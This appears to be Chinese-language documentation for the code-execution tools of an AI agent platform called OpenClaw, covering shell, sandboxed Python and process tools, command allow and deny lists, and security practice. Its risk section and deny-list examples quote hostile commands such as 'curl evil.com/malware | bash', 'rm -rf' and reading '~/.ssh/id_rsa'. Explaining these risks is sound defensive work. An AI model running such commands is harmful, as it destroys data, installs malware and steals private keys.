## 代码执行概述
OpenClaw 提供了多种代码执行工具,让智能体能够运行命令、执行脚本和管理进程。这些工具非常强大,但也需要谨慎使用——毕竟你是在让 AI 直接操作你的系统。
OpenClaw 的代码执行工具分为三类:
| 工具 | 用途 | 执行环境 | 风险级别 |
|------|------|----------|----------|
| `exec` | 运行 shell 命令 | 宿主机(或沙箱) | ⚠️ 高 |
| `code_execution` | 运行 Python 代码 | 隔离沙箱 | 🟢 低 |
| `process` | 管理后台进程 | 宿主机(或沙箱) | ⚠️ 中 |
## exec 工具
`exec` 是最直接的命令执行工具——它在宿主机上运行 shell 命令,就像你在终端里手动输入一样。
### 基本用法
智能体可以通过 `exec` 工具执行任意 shell 命令:
```bash
# 智能体可能执行的命令示例
ls -la /home/user/projects
cat package.json
npm install express
git status
python3 script.py
```
### exec 的执行流程
```
用户请求 → 智能体决定使用 exec → 构造命令 → 执行 → 返回结果
```
例如:
```
用户: 帮我看看当前目录有哪些文件
智能体: [调用 exec 工具] ls -la
输出:
total 48
drwxr-xr-x 5 user user 4096 Jan 15 10:00 .
-rw-r--r-- 1 user user 256 Jan 15 09:30 package.json
-rw-r--r-- 1 user user 1024 Jan 15 09:30 index.js
drwxr-xr-x 3 user user 4096 Jan 15 09:30 src
智能体: 当前目录有 package.json、index.js 和 src 目录。
```
### exec 的风险
`exec` 直接在宿主机上执行命令,这意味着:
- ✅ 可以做任何你在终端能做的事
- ❌ 也可以做任何你不想让它做的事
潜在风险:
- 删除文件:`rm -rf /important/data`
- 修改系统配置:`echo "malicious" >> /etc/hosts`
- 安装恶意软件:`curl evil.com/malware | bash`
- 泄露敏感信息:`cat ~/.ssh/id_rsa`
这就是为什么 OpenClaw 提供了**执行审批机制**——在命令执行前进行拦截和审核。
## code_execution 工具
`code_execution` 是一个安全的 Python 执行环境,专为数据分析和脚本运行设计。
### 与 exec 的核心区别
`code_execution` 运行在**隔离的沙箱环境**中,不直接访问宿主机文件系统:
```
exec: 用户请求 → 命令 → 宿主机 shell → 直接执行
code_execution: 用户请求 → Python 代码 → 沙箱容器 → 隔离执行
```
### 预装的 Python 库
`code_execution` 沙箱预装了常用的数据分析库:
| 库 | 用途 |
|-----|------|
| `pandas` | 数据处理和分析 |
| `numpy` | 数值计算 |
| `matplotlib` | 数据可视化 |
| `requests` | HTTP 请求 |
| `json` | JSON 处理 |
| `csv` | CSV 文件处理 |
### 使用场景
**数据分析**
```
用户: 帮我分析这份 CSV 数据,找出销售额最高的产品
智能体: [调用 code_execution]
```
```python
import pandas as pd
df = pd.read_csv('/data/sales.csv')
top_products = df.groupby('product')['revenue'].sum().sort_values(ascending=False).head(10)
print(top_products)
```
**生成图表**
```python
import matplotlib.pyplot as plt
import numpy as np
x = np.linspace(0, 10, 100)
y = np.sin(x)
plt.figure(figsize=(10, 6))
plt.plot(x, y)
plt.title('Sine Wave')
plt.savefig('/output/chart.png')
```
**数据转换**
```python
import json
data = json.loads(input_text)
result = [{"name": item["name"], "value": item["count"] * 2} for item in data]
print(json.dumps(result, indent=2, ensure_ascii=False))
```
### code_execution 的限制
- 只能运行 Python 代码(不支持其他语言)
- 无法访问宿主机文件系统(除非配置了挂载)
- 无法安装额外的 pip 包(除非通过 setupCommand 预装)
- 网络访问可能受限(取决于沙箱配置)
## process 工具
`process` 工具用于管理后台进程——启动、停止和监控长时间运行的任务。
### 基本操作
**启动后台进程**
```
用户: 帮我启动一个开发服务器
智能体: [调用 process 工具 - start]
命令: npm run dev
进程 ID: proc_abc123
状态: running
```
**查看进程状态**
```
用户: 开发服务器还在运行吗?
智能体: [调用 process 工具 - status]
进程 proc_abc123: running (PID: 12345, 运行时间: 2h 15m)
```
**停止进程**
```
用户: 停掉开发服务器
智能体: [调用 process 工具 - stop]
进程 proc_abc123 已停止
```
### 适用场景
- 启动开发服务器(`npm run dev`、`python -m http.server`)
- 运行构建任务(`npm run build --watch`)
- 启动数据库服务(`docker-compose up -d`)
- 运行长时间的数据处理脚本
### 与 exec 的区别
| 特性 | exec | process |
|------|------|---------|
| 执行方式 | 同步,等待完成 | 异步,后台运行 |
| 适用命令 | 短命令(ls、cat、git) | 长命令(服务器、监听器) |
| 输出获取 | 命令完成后返回全部输出 | 可以随时查看最新输出 |
| 生命周期 | 命令结束即完成 | 需要手动停止 |
## 执行审批机制(exec-approvals)
执行审批是 OpenClaw 的安全核心功能之一。它在命令执行前进行拦截,根据预定义的规则决定是否允许执行。
### 审批模式
OpenClaw 支持两种审批模式:
#### allow 模式(白名单)
只允许执行白名单中的命令,其他命令全部拒绝:
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" },
{ "pattern": "git status" },
{ "pattern": "git log *" },
{ "pattern": "npm run *" },
{ "pattern": "node *" }
]
}
}
```
这个配置的效果:
- ✅ `ls -la` — 匹配 `ls *`,允许
- ✅ `cat package.json` — 匹配 `cat *`,允许
- ✅ `git status` — 精确匹配,允许
- ✅ `npm run build` — 匹配 `npm run *`,允许
- ❌ `rm -rf /` — 不在白名单中,拒绝
- ❌ `curl evil.com` — 不在白名单中,拒绝
#### deny 模式(黑名单)
允许执行所有命令,除了黑名单中的:
```json
{
"exec-approvals": {
"mode": "deny",
"rules": [
{ "pattern": "rm -rf *" },
{ "pattern": "sudo *" },
{ "pattern": "chmod 777 *" },
{ "pattern": "curl * | bash" },
{ "pattern": "wget * | sh" }
]
}
}
```
### 推荐配置:安全的只读命令白名单
对于大多数用户,推荐使用 allow 模式,只允许安全的只读命令:
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *", "description": "列出文件" },
{ "pattern": "cat *", "description": "查看文件内容" },
{ "pattern": "head *", "description": "查看文件开头" },
{ "pattern": "tail *", "description": "查看文件末尾" },
{ "pattern": "wc *", "description": "统计行数/字数" },
{ "pattern": "find *", "description": "查找文件" },
{ "pattern": "grep *", "description": "搜索文本" },
{ "pattern": "git status", "description": "Git 状态" },
{ "pattern": "git log *", "description": "Git 日志" },
{ "pattern": "git diff *", "description": "Git 差异" },
{ "pattern": "pwd", "description": "当前目录" },
{ "pattern": "whoami", "description": "当前用户" },
{ "pattern": "date", "description": "当前时间" },
{ "pattern": "df -h", "description": "磁盘使用" },
{ "pattern": "free -h", "description": "内存使用" }
]
}
}
```
### 开发者配置:允许开发相关命令
如果你需要智能体帮你写代码和运行项目:
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" },
{ "pattern": "head *" },
{ "pattern": "tail *" },
{ "pattern": "grep *" },
{ "pattern": "find *" },
{ "pattern": "git *" },
{ "pattern": "npm *" },
{ "pattern": "npx *" },
{ "pattern": "node *" },
{ "pattern": "python3 *" },
{ "pattern": "pip3 install *" },
{ "pattern": "mkdir *" },
{ "pattern": "touch *" },
{ "pattern": "cp *" },
{ "pattern": "mv *" }
]
}
}
```
⚠️ 注意:允许 `git *` 和 `npm *` 意味着智能体可以执行 `git push`、`npm publish` 等操作。根据你的需求调整。
### 审批日志
所有被审批拦截的命令都会记录在日志中:
```bash
# 查看审批日志
openclaw logs --filter exec-approval
# 输出示例:
# [ALLOW] ls -la /home/user/projects
# [DENY] rm -rf /tmp/cache
# [ALLOW] git status
# [DENY] curl http://unknown-site.com/script.sh | bash
```
## exec vs code_execution 对比
| 特性 | exec | code_execution |
|------|------|----------------|
| 执行环境 | 宿主机 shell | 隔离沙箱 |
| 支持语言 | 任意 shell 命令 | 仅 Python |
| 文件访问 | 宿主机文件系统 | 沙箱文件系统 |
| 网络访问 | 完全访问 | 可能受限 |
| 安全风险 | ⚠️ 高(需要审批机制) | 🟢 低(天然隔离) |
| 适用场景 | 系统管理、项目操作 | 数据分析、脚本计算 |
| 预装工具 | 系统自带的所有工具 | pandas/numpy/matplotlib |
| 审批机制 | 支持(exec-approvals) | 不需要(已隔离) |
### 选择建议
**用 exec 的场景:**
- 需要操作宿主机文件(读写项目代码)
- 需要运行非 Python 命令(git、npm、docker)
- 需要访问系统工具(curl、wget、ssh)
- 需要管理服务和进程
**用 code_execution 的场景:**
- 数据分析和处理(CSV、JSON、Excel)
- 数学计算和统计
- 生成图表和可视化
- 运行不受信任的代码片段
- 不需要访问宿主机文件
## 安全最佳实践
### 1. 最小权限原则
只授予智能体完成任务所需的最小权限:
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "ls *" },
{ "pattern": "cat *" }
]
}
}
```
不要因为"方便"就开放所有权限。
### 2. 优先使用 code_execution
如果任务可以用 Python 完成,优先使用 `code_execution` 而不是 `exec`:
```
❌ exec: python3 -c "import pandas; df = pandas.read_csv('data.csv'); print(df.describe())"
✅ code_execution: 直接在沙箱中运行 Python 代码
```
### 3. 配合沙箱使用
对于必须使用 `exec` 的场景,开启沙箱隔离:
```json
{
"sandbox": {
"mode": "all"
},
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "*" }
]
}
}
```
即使允许所有命令,沙箱也能限制影响范围。
### 4. 定期审查审批日志
```bash
# 查看最近被拒绝的命令
openclaw logs --filter exec-approval --level deny
# 如果发现合理的命令被拒绝,可以添加到白名单
```
### 5. 敏感文件保护
即使开启了 exec,也要保护敏感文件:
```json
{
"exec-approvals": {
"mode": "allow",
"rules": [
{ "pattern": "cat *", "exclude": ["*.pem", "*.key", ".env", "*password*"] }
]
}
}
```
### 6. 生产环境必须配置审批
在生产环境中,永远不要让智能体无限制地执行命令:
```json
{
"sandbox": {
"mode": "all"
},
"exec-approvals": {
"mode": "allow",
"rules": []
}
}
```
空的 allow 规则 = 禁止所有 exec 命令。配合沙箱使用,这是最安全的配置。
## 常见问题
### exec 命令超时怎么办?
默认情况下,exec 命令有超时限制。如果命令需要较长时间,考虑使用 `process` 工具在后台运行:
```
用户: 帮我运行这个数据处理脚本,可能需要 10 分钟
智能体: 这个脚本运行时间较长,我用后台进程来执行。
[调用 process 工具 - start] python3 process_data.py
```
### code_execution 中如何使用自定义库?
通过沙箱的 `setupCommand` 预装:
```json
{
"sandbox": {
"setupCommand": "pip3 install scikit-learn seaborn openpyxl"
}
}
```
### 如何查看 exec 的完整输出?
如果命令输出很长,智能体可能会截断。你可以要求智能体将输出保存到文件:
```
用户: 运行 npm test 并把完整输出保存到 test-output.txt
```
## 小结
OpenClaw 的代码执行工具体系:
- `exec` 直接在宿主机运行 shell 命令,功能强大但风险高
- `code_execution` 在隔离沙箱中运行 Python,安全但功能受限
- `process` 管理后台长时间运行的进程
- 执行审批机制(exec-approvals)是安全的核心防线
- allow 模式(白名单)比 deny 模式(黑名单)更安全
- 最佳实践:最小权限 + 沙箱隔离 + 审批机制三重保护
代码执行是 OpenClaw 最强大也最危险的能力。合理配置审批机制和沙箱,才能在效率和安全之间找到平衡。
#代码执行 #exec工具 #命令审批 #安全执行 #龙虾技能库